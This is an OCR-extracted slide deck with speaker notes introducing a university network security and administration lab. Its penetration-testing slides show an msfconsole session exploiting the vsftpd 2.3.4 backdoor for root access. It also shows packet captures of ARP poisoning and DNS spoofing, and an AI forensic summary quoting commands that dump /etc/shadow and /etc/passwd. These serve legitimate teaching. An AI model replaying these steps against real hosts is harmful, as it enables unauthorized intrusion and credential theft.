Hands-On Network Security and
System Administration Lab

* Proposed Course Overview and
Introduction

* The course outlines
e Demo Video

* Building skills to manage and protect
real-world IT infrastructure

e Instructor: Alan S. H. Lam



Presenter
Presentation Notes
Welcome! This lab course provides hands-on experience managing and securing IT systems.

https://alanshlam.github.io/lab/nsaslab.pdf
https://youtu.be/b4hfGaglrys
mailto:alan-lam@link.cuhk.edu.hk

Course Overview

* Two Major Parts:

1. System anc

2. System anc

Networ
Networ

< Administration

< Security Defense

 Goal: Understand, monitor, and
defend IT Infrastructure.


Presenter
Presentation Notes
We'll first learn how networks behave normally, then move on to defending them.


.

Why Start with System and Network
Administration?

You can’t defend what you don’t
understand.

Learn your network’s normal baseline.
Detect abnormal behavior early.
Build confidence managing real systems.


Presenter
Presentation Notes
Before recognizing a cyberattack, you must know what 'normal' looks like.


Part 1: System and Network
Administration

Set up and manage servers and services
Monitor network traffic and performance
Debug and optimize IT infrastructure issues
Interpret real-time data and logs


Presenter
Presentation Notes
We’ll use both command-line and GUI tools to monitor and troubleshoot networks.


Professional Tools You’ll Use

* Monitoring & Management: snmpd, mrtg,
ntopng, nagios, TIG Stack

* Testing & Debugging: hping3, traceroute,
iperf3

* Traffic and system Analysis: tcpdump,
wireshark, netstat, |sof, ss

Demo Video



Presenter
Presentation Notes
These are industry-standard tools used by professionals daily.

https://youtu.be/jCyHKjCjRQs

MRTG graphs monitoring network traffic and system status
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Presentation Notes
MRTG continuously collects and visualizes network and system performance data every five minutes.�Although it samples periodically, it provides powerful long-term insights — displaying traffic trends across daily, weekly, monthly, and yearly views.�This helps you establish baselines and quickly spot unusual patterns that might signal network issues or potential attacks.
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Presentation Notes
For real-time traffic visualization, ntop-ng is ideal.�This graph displays instant bandwidth data during an iperf3 test — showing traffic fluctuations over the last few minutes.�It’s useful for observing live performance, detecting bottlenecks, and confirming that your network is performing as expected.


TIG Stack Monitoring Network Traffic and System
Health
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Presentation Notes
The TIG stack — Telegraf, InfluxDB, and Grafana — allows you to build custom dashboards for monitoring your infrastructure.�You can design visual panels to track system health, network throughput, or specific service performance.�This flexibility helps you tailor the monitoring view to your own operational or research needs.



Nagios Monitoring Critical IT Services and Sending
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Presentation Notes
Nagios helps you keep your IT infrastructure reliable by monitoring critical services like web servers, mail servers, or DNS.�When it detects an issue or outage, Nagios can automatically send alert notifications to administrators.�This proactive monitoring ensures rapid response and minimizes downtime.



Network Traffic Analysis of Traceroute Packets by Wireshark
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Presentation Notes
Wireshark captures and analyses packets at a granular level.�Here, it shows a router responding to traceroute packets with an ICMP “TTL exceeded” message — a normal step in mapping network hops.�Tools like Wireshark and tcpdump let you observe how packets travel across the network, helping you understand both normal and abnormal behaviours.
You will exam more malware and cyber-attack traffic during real case studies. 




Transition to Security Defense

Knowing your network baseline helps you:
- Spot intrusions faster

- Understand attack patterns

- Apply defense strategies effectively


Presenter
Presentation Notes
Once you master network monitoring, you’ll move on to security defenses.


Part 2: Securing Your IT Infrastructure

Firewalls & Two-Factor Authentication (2FA)

Suricata IDS/IPS for intrusion detection and
prevention

Vulnerability scanning and penetration testing
Incident response and forensic investigation

Honeypots for hacker monitoring


Presenter
Presentation Notes
We’ll simulate and analyze real-world attacks and defenses.


B :
Example of 2FA Setup for Webmail User
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¢
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Presentation Notes
This slide demonstrates how to enable two-factor authentication (2FA) for webmail users.�By requiring both a password and a one-time code, 2FA greatly enhances account security and helps prevent unauthorized access even if passwords are compromised.
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Presentation Notes
Suricata IDS continuously analyses your network uplink traffic and logs potential security events. The Suricata IDS can let you get familiar with your network profile 
�


Suricata IDS Monitoring Potential Threats in Network Uplink
Traffic
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Presentation Notes
By monitoring these alerts, you can build an understanding of your network’s normal traffic patterns and detect anomalies that might indicate suspicious or malicious activity.



Suricata IPS Blocking Nmap Scan and SQL
Injection in Real Time
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Demo Video . You can download this lab Suricata IPS rules here.
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Suricata IPS takes security a step further by actively blocking malicious traffic.�It can stop reconnaissance attempts like Nmap scans or exploitation efforts such as SQL injection.�To use IPS effectively, you’ll need a solid understanding of network behaviour and malware traffic patterns so you can define accurate blocking rules.
I will teach you how to write the IPS rules to block cyber-attacks.

https://youtu.be/1Nclxir-qcw
https://github.com/alanshlam/Pentest/tree/main/ips

T-Pot Honeypot on AWS Cloud Showing Top Attack Events and Sources
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T-Pot integrates multiple honeypot systems to attract and log cyberattacks in real time.�Deployed on AWS, it visualizes global attack trends, top targeted ports, and attacker origins.�This gives valuable insight into current hacking tactics, techniques, and trends in the wild.


T-POT Honeypot on AWS Cloud — Password Brute-Force Attack

Trend
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' o elastic . S eon
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Attacker AS/N - Top 10 Attacker Source IP - Top 10 Suricata CVE - Top 10 Suricata Alert Signature - Top 10
AS v ASN v Count v Source IP v Count v CVEID v Count v D ~ Description v Count v
Amazon.com, Inc. 26,1686 26,162 p.. 849 . SURICATA STREAM ESTABLISHED packet out of window 29,651 |
. The Chinese University of Hong Ko... 19,594 . 19,594 49 . ET EXPLOIT [PTsecurity] DoublePulsar Backdoor installation communication 10,374

ht.. Viettel Group 3,340 . 3,154 34 [... SURICATA STREAM Packet with invalid ack 7,504

. PT Telekomunikasi Indonesia 3,154 . 3,149 23 . SURICATA STREAM ESTABLISHED invalid ack 7,503

OBIT Ltd. 3,149 . 3,149 15 . SURICATA STREAM Packet with broken ack 2,620

. New Telecom Ltd 3,129 . 3,129 7 . ET SCAN MS Terminal Server Traffic on Non-standard Port 2,218

Demo video. You can view the full report of my recent Honeypot study here.
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Presentation Notes
This T-Pot dashboard aggregates brute-force login attempts captured by multiple honeypots and visualizes the most commonly tried username/password combinations over time.�You’ll typically see a small set of popular usernames (for example admin, root, sa) and weak passwords or leaked-password patterns (e.g., 123456, (empty), password123) repeated across many source IPs — a clear sign of automated credential-stuffing and botnet activity.

https://youtu.be/r8yR9-oGVgA
https://github.com/alanshlam/HoneyNet/tree/main/4r_report

Vulnerability Scanner with Nmap — CVEs and

Software Versions Detected

ntecl-17:~> nmap -sV --script vuln vul.ilab.ntec.ie.cuhk.edu.hk -p 21
Starting Nmap 7.70 ( https://nmap.org ) at 2023-08-21 10:11 HKT

Nmap scan report for vul.ilab.ntec.ie.cuhk.edu.hk (192.168.42.7)

Host is up (0.00035s latency).

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
| ftp-vsftpd-backdoor:

| VULNERABLE :

| vsFTPd version 2.3.4 backdoor

| State: VULNERABLE (Exploitable)

| IS SN ELYEN CVE:CVE-2011-2523

| vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
| Disclosure date: 2011-07-03

| Exploit results:

| Shell command: id
I

I

I

I

I

I

Results: uid=0(root) gid=0(root)
References:
http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd 234 backdoor.rb
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
. http://osvdb.org/73573
| _sslv2-drown:
MAC Address: 00:50:56:A2:DC:17 (VMware)
Service Info: 0S: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.38 seconds

Demo Video


Presenter
Presentation Notes
Nmap isn’t just for scanning hosts — it can also identify software versions and match them to known CVEs.�This makes it a lightweight but effective vulnerability scanner, allowing you to discover outdated or insecure software that could be exploited.

https://youtu.be/tkWUkARUzaQ

Penetration Test with Msfconsole Exploiting vsFTP
Vulnerability and Gaining Root Access

# Name Disclosure Date Rank Check Description

0 exploit/unix/ftp/wsftpd 234 backdoor 2011-07-03

Interact with a module by name or index. For example i

msf6 > use 0
No payload configured, defaulting to cmd/unix/interact
ms£6 exploit (unix/ftp/vsftpd 234 backdoor) > set RHOST 192.168.42.7
RHOST => 192.168.42.7
ms£6 exploit(unix/ftp/vsftpd 234 backdoor) > run
‘ 192.168.42.7:21 - Banner: 220 (vsFTPd 2.3.4)
| 192.168.42.7:21 - USER: 331 Please specify the password.
1[+] 192.168.42.7:21 - Backdoor service has been spawned, handling...
[[+] 192.168.42.7:21 - UID: uid=0(root) gid=0(root)
Found shell.
Command shell session 1 opened (192.168.43.31:37767 -> 192.168.42.7:6200) at 2023-08-21 10:05:59 +0800

id
uid=0 (root) gid=0(root)
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Presentation Notes
Msfconsole, part of the Metasploit Framework, is used to verify vulnerabilities found during scanning.�Here, it demonstrates exploiting a known vsFTP vulnerability to gain root access — showing how attackers might compromise an unpatched system.�This hands-on exercise helps you understand the attack lifecycle and design better defences.


Real-World Case Studies

Analyze real cyberattack scenarios
Learn from defensive failures
Study response strategies and forensic insights

You download more malware and cyber-attack
network traffic samples and their analysis
here.

Demo Video
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Presentation Notes
You’ll see how security incidents happen and how professionals respond.

https://github.com/alanshlam/Pentest/tree/main/pcap
https://youtu.be/mpGF8-iyuhw

Smurf Attack — Distributed Denial of Service (DDoS)
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Presentation Notes
A Smurf attack floods a victim server with ICMP echo requests using spoofed IP addresses, overwhelming its resources.�This demonstrates how attackers exploit amplification techniques to disrupt network availability — a reminder of the importance of proper ICMP and broadcast filtering.



Network Packet Analysis of ARP Poisoning (MITM Attack with HTTPS

Intercept)

Source Destnation Protocol Length Info

VMuare a2:78:34 VMware_a2:bb:e? ARP <10.3.0 15 4L B0:00:0b:al:/8;

VMware a2:78:34 VMuare a2:1c:da ARP 42 172.16.3.2 is at 00:50:56:a2:78:34 |duplicate use of 172.16.3.6 detected!)
32.000259 VMware_a2:78:34 VMware_a2:bbie7 ARP 42172.16.3.6 is at 00:50:56:22:78:34
42.000317 VMuare_a2:78:34 VMware a2:1c:4a ARP 42172.16.3.2 is at 08:50:56:a2:78:34 |duplicate use of 172.16.3.6 detected!)
54.000530 VMware a2:78:34 WMware a?:bb:e7 ARP 42172.16.3.6 is at 00:50:56:a2:78:34
64.000587 VMware_a2:78:34 VMware a2:1c:4a ARP 42172.16.3.2 is at 00:50:56:a2:78:34 |duplicate use of 172.16.3.6 detected!)
7 6.000811 VMware a2:78:34 VMware a2:bb:e7 ARP 42172.16.3.6 is at 00:50:56:a2:78:34 ARP poisoning to victim hosts
8 6.000872 VMware a2:78:34 \Mware a2:1c:da ARP 42172.16.3.2 is at 88:50:56:a2:78:34 |duplicate use of 172.16.3.6 detected!)
9 8.001091 VMware a2:78:34 \Mware_a2:bb:e’ ARP 42172.16.3.6 is at 00:50:56:a2:78:34
10 8.001150 VMware a2:78:34 Wuare_a2:1c:da ARP 42172.16.3.2 is at 00:50:56:a2:78:34 |duplicate use of 172.16.3.6 detected!)
11 18.001358 VMware_a2:78:34 WMuare_a2:bb:e7 ARP 42 172.16.3.6 is at 88:50:56:22:78:34

12 10.001513 VMware a2:78:34

15 11.864974

VMware a2:1c:d4a

172.16.3.2

172.16.3.2

42172.16.3.2 is

at 00:50:56:a2:78:34

duplicate use of 172.16.3.6 detected!)

66 44810 + 443 [ACK] Seg=1 Ack=1 Win=29412 Len=0 TSval=3490682489 TSecr=2876166469

66 53648 + 443 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=3498673054 TSecr=938253760

66 443 + 44810 [ACK] Seq=1 Ack=518 Win=@4768 Len=0 TSval=2876166482 TSecr=3490682422

66 443 » 53648 [ACK] Seg=1 Ack=362 Win=30088 Len=8 TSval=938253773 TSecr=3498673066
15.. Server Hello, Change Cipher Spec, Apglication Data, Application Data

n=64128 Len=0 TSval=3498673096 TSecr=938253861

n=64128 Len=0 TSval=3498673096 TSecr=938253801
L HTTPS traffic intercept in MITM attack

16.. Server Hello, Change Cipher Spec, Application Data, Application Data, Application Data, Appli

18 11.8678294172.16.3.19 TCP

1911.877563172.16.3.6 172.16.3.2 TLSv1.3 583 Client Hello

20 11.877594172.16.3.2 172.16.3.6 TCP

21 11.879594172.16,3.19 172.16.3.2 TLSv1.3 427 Client Hello

22 11.880459172.16.3.2 172.16.3.19 TCP

2311.909304172.16.3.2 172.16.3.19 TLSvL.3

24 11.969344172.16.3.19 172.16.3.2 Tcp 66 53648 + 443 [ACK] Seg=362 Ack=1449 W
2511.909364172.16.3.2 172.16.3.19 TLSv1.3 170 Application Data, Application Data
2611,9093794172.16.3.19 172.16.3.2 Tcp 66 53648 + 443 [ACK] Seq=362 Ack=1553 W
27 11.911494 172.16.3.19 172.16.3.2 TLSv1.3 146 Change Cipher Spec, Application Data
28 11,912199172.16.3.2 172.16.3,19 TLSv1.3 353 Application Data
2911.912423172.16.3.2 172.16.3.19 TLSv1.3 353 Application Data

30 11.917239 172.16.3.2 172.16.3.6 TLSv1.3

31 11.917368 172.16.3.19 172.16.3.2 Tcp

Demo Video

66 53648 » 443 [ACK] Seq=442 Ack=2127 Win=64128 Len=0 TSval=3498673104 TSecr=938253805

okmarks

»
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Presentation Notes
In this example, the attacker performs ARP poisoning, impersonating the default gateway to intercept network traffic.�Even HTTPS sessions can be tampered with under such attacks.�Wireshark analysis reveals duplicated or altered ARP responses — a clear sign of a man-in-the-middle attempt.

https://youtu.be/xQz0G5JWjuw

Network Packet Analysis of DNS Spoofing in

Time Surce

10.000000 192,168.111.129
10.000073 192.168.111.2
30.003139 192.168.111.2
42.647526 192.168.111.129
5 2.647598 192.168.111.2
62.648151 192.168.111.2
77.091060 192.168.111.129
47.091138 192.168.111.2
97.892517 192.168.111.2
10 14.6678064 192.168.111.129
11 14.667892 192.168.111.2
12 14.668296 192.168.111.2
13 23.692488 192.168.111.129
14 23.692570 192.168.111.2
15 23.695373 192.168.111.2
16 30,503499 192.168.111.129
17 30.503597 192.168.111.2
13 J0.507781 192.168.111.2

19 41.047712 192.168.111.129
74 A1 AATAL 107 1R2 111 )

Destination
192,168,111.2
192.168,111,129
192.168.111.129
192.168.111.2
192.168.111.129
192.168.111.129
192.168.111.2
192.168.111.129
192.168.111.129
192.168.111.2
192.168.111.129
192.168.111.129
192.168.111.2
192.168.111.129
192.168.111.129
192.168.111.2
102.168.111.129
192.168.111.129

192.168.111.2
107 1A% 111 170

Wireshark

Frotacal Length Info

DNS 75|standard query @x58a6 A waw. hsbc.com.hk JNS spoofing of hsbe host
DNS 106}Standard query response 0x58a6 A www.hsbc.com.hk A 192.168.111,128 | With IP 192,168.111.128

DNS 169 standard query response @x58a6 A www.hsbc.com.hk A 27.110.78.2 NS tkoprdgsses.hshc.com.hk NS
NS 79 Standard query @xfb@a A www.hangseng.com.hk

DNS 114 standard query response @xfbéa A www.hangseng.com.hk A 192.168.111.128

DNS 191 Standard query response @xtb@a A www.hangseng.com.hk CHAME hangseng.com.hk A 203.112.98.200 N
DNS 70 Standard query @x89ad A wiww.gov. hk

DNS 96 Standard query response 0x89ad A www.gov.hk A 192,168,111,128

DNS 521 standard query response 0x89ad A www.gov.hk CNAME w2wwwdl.wh.cis.gov.hk CNAME dsl.ogcio.gov.h
DNS 70 Standard query @xabal A www. hku.hk

DNS 96 Standard query response @x4bal A www.hku.hk A 192,168.111.128

DNS 405 Standard query response @xabel A ww.hku.hk A 147.8.2.58 NS ns3.hku.hk NS nsd.hku.hk NS nsi.h
DNS 71 Standard query @x2da4 A www.mit.edu

NS 98 Standard query response 0x2ded A www.mit.edu A 192,168.111,128

DNS 456 Standard query response 0x2de4 A wiw.mit.edu CNAME www.mit.edu.edgekey.net CNAME e9566.dsch.a
DNS 75 Standard query @xasab A waw, cuhk.edu.hk

DNS 106 Standard query response @xasdb A www.cuhk.edu.hk A 192.168,111.128

DNS 341 Standard query response @xasdb A www.cuhk.edu.hk A 137.189.11.73 NS nsl.cuhk.edu.hk NS ns2.cu
DNS 71 Standard query @xcldd A www.usc.edu

nns a9 Standard ajary pacnanea ave1ad o www ier adi 8187 1A% 111 192

Frame 2: 106 bytes on wire (848 bits), 166 bytes captured (848 bits)

¥

0000 00 @c 29 ¢1 @b el 60 6c 29 61 ce 38 08 00 45 o

Ethernet 1T, Src:|VMware 61:ce:38 (00:0c:29:61:ce:38), Dst: VMware c1:0b:e1 (00:0c:29:c1:6b:el) 0010 @@ 5c d7 ¢7 00 0@ 40 11 42 f5 @ a3 6f 82 O af

User Datagram Protocol, Src Port: 53, Dst Port: 28681

Domain Name System (response)

68.111.129

Internet Protocol Version 4, Src: 192.168.111.2, Dst:\DL]\

Attacker Mac address 0830 00 01 00 00 00 00 ENN

1 6f 81 00 35 70 09 00 48 f6 ca 58 a6 85 8O 09 0
7777 04 68 73 62 63 @
ERGRTRNG NN 00 01 08 01 03 77 77 77 @
68 73 62 63 03 63 6f 6d 02 68 6b 00 60 81 00 0



Presenter
Presentation Notes
This analysis shows how an attacker redirected a victim’s web request by spoofing DNS responses.�The victim’s browser unknowingly connected to a fake or phishing site.�By examining packet details, you can see the forged DNS reply and learn to recognize these malicious manipulations.


Al for Cybersecurity

Al tools for:

* -Vulnerability assessment

- Threat detection

* - Forensic investigation

* - Automated incident reporting

Demo Video.

You can view the network forensic analysis by Al
here.
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Presentation Notes
We’ll explore how AI enhances cybersecurity operations.

https://youtu.be/x8QnnHYeG08
https://github.com/alanshlam/Pentest/tree/main/pcap_ai

Malware traffic analysis with Al tool (xAl
Grok 4 fast model)

[ h ':::' Launch AWS Academy Learner =~ X ar

### Summary of Findings
The packet capture reveals evidence of a compromised host (victim at 172.18.0.2) where an attacker (from 172.18.0.
vel shell access via a non-standard TCP port (6200), likely a backdoor or exploited service. The attacker performs
ommands such as " td|, [whoami , "cat /etc/shadow , and ' cat /etc/passwd , CULTRGTEETLERESAVRTETY NI I EETVT I EE)
ed FTP login attempt on port 21 (using invalid credentials "USER Dqvop:)" and "PASS d"), which may be a probing or
ing or DDoS 1is evident, but the shell activity indicates post-exploitation reconnaissance. Timestamps are 1inconsist]
Models gesting either multiple sessions across time or a capture artifact/clock skew, but the core activity clusters aroun|
on. Protocols involved are primarily TCP over IPv4, with FTP and raw shell-like payloads. The vsFTPd version (2.3.
nown to have vulnerabilities (e.g., CVE-2011-2523 backdoor in some builds).

Google: Gemini 2.0 Flash Experimental (free) & © No criminal activity promotion 1is involved in this analysis; this 1s a simulated or captured scenario for education|

### Identified Attack Detatlls
Hacking activity is detected: unauthorized remote code execution and system enumeration via a backdoor shell.

1. **Attack Vector*x:
- Primary: Backdoor shell access (non- 1nteractlve remote command executlon over TCP port 6200, resembllng a raw
attacker sends shell commands (e.g., 1d v L cat /etc/slt /etc/pass ) and receives root-privi
mpromise (possibly via an exploited service llke the vulnerable vsFTPd).
- Secondary: Failed brute-force or probing login attempt on FTP (port 21) with nonsensical credentials, potentia
Meta: Llama 3.3 70B Instruct (free) & © s of create notse.
2. **Attacker ID**:
- Source IP: 17 1
- Source MAC: M cE96R07
- The attacker initiates all connections and sends commands/payloads.

3. **Victim ID*x*:
- Destination IP: 172.18
- Destination MAC: ac: l“' 0:
- The victim responds with server banners (e.g., vsFTPd 2.3.4 on port 21) and executes commands as root (uid=0),
Venice: Uncensored (free) & © nfirming compromise.
4. **Hacking Timeline** (based on packet timestamps; note inconsistency possibly due to capture issues):

- *%%08:50:14 - 08:50:15 (approx. 1-2 seconds)#**: Initial FTP SYN/ACK/handshake to port 21; i id login ("USER
op:)" / "PASS d"); server responds with "331 Please specify the password." but later "50@ 00PS r . Concurrentl
hell connection to port 6200 begins with " 1d  command, receiving root confirmation.

- *%08:50:15 - 08:50:26 (approx. 11 seconds)**: Shell session continues with
mplete persistence attempt), echo commands outputting strings like "Wh1T2XR1XdGx
al C2 beacons or encoded payloads).

- *%%08:50:26 - 08:50:30 (approx. 4 seconds)**: Further enumeration with "1d" (root) and "whoami  (root).

- *%08:50:30 - 08:50:35 (approx. 5 seconds)**: 'cat /etc/shadow dumps password hashes (e.g., root hash ¢
0z8w5UF9I\ R d. ), exposing ~30 user entries.
OpenAl: gpt-oss-20b (free) & o - *%08:50:35 - 08:50:39 (approx. 4 seconds)**: “cat /etc/pass dumps user database (~30 entries, including msf]

in, root, etc.).

- **08:50:43 (approx. 4 seconds)**: Shell session ends with "exit’; FTP connection reset.

- %%11:33:15 - 11:33:44 (approx. 29 seconds, separate session)**: Repeated shell connection to port 6200 with si
ar enumeration (echo commands, id, cat /etc/shadow and /etc/passwd); FTP probe and failed login; session closes wity
IN/RST.



Presenter
Presentation Notes
This demonstration shows how an AI-based model — integrated via the OpenRouter API — can assist in analysing malware-related network traffic.�The AI identifies unusual patterns, classifies potential threats, and accelerates forensic analysis.�It’s an example of how machine learning can augment cybersecurity operations for faster, smarter detection.



What You’'ll Gain

Real-world technical experience
Confidence in system & network management

Skills to detect and defend against cyber-
attacks

Understanding of Al-powered cybersecurity
tools
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Presentation Notes
By course end, you’ll be able to set up, monitor, and defend full IT infrastructure.


Final Message

e “Security is not a product, but a process.” —
Bruce Schneier

* Let’s begin that process — hands-on!
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Presentation Notes
Thank you, and welcome to the lab!
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